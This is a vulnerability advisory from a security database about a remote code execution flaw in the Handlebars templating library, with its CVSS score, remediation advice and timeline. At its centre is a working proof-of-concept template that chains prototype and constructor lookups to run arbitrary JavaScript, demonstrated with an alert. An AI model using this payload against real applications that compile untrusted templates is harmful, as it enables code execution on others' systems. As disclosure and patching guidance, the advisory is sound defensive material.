VDB

SNYK-JS-HANDLEBARS-1056767

SNYK-JS-HANDLEBARS-1056767 PUBLISHED CVSS 7 HIGH

## Overview [handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language. Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source. ### POC ``` <script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> <script> // compile the template var s = ` {{#with (__lookupGetter__ "__proto__")}} {{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} {{#with ../constructor.prototype}} {{../../constructor.defineProperty . "hasOwnProperty" ..}} {{/with}} {{/with}} {{/with}} {{#with "constructor"}} {{#with split}} {{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} {{#with .}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 ../..)}} {{.}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} `; var template = Handlebars.compile(s, { strict: true }); // execute the compiled template and print the output to the console console.log(template({})); </script> ``` ## Remediation Upgrade `handlebars` to version 4.7.7 or higher. ## References - [GitHub Commit](https://github.com/handlebars-lang/handlebars.js/commit/b6d3de7123eebba603e321f04afdbae608e8fea8)

Risk Scores

CVSS v3.1
7
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C

Affected Products

VendorProductVersions
0

Timeline

  • Jan 8, 2021 CVE Updated
  • Feb 15, 2021 CVE Published
Open in Interactive Console →
$ Console Community · 100/wk Open console ›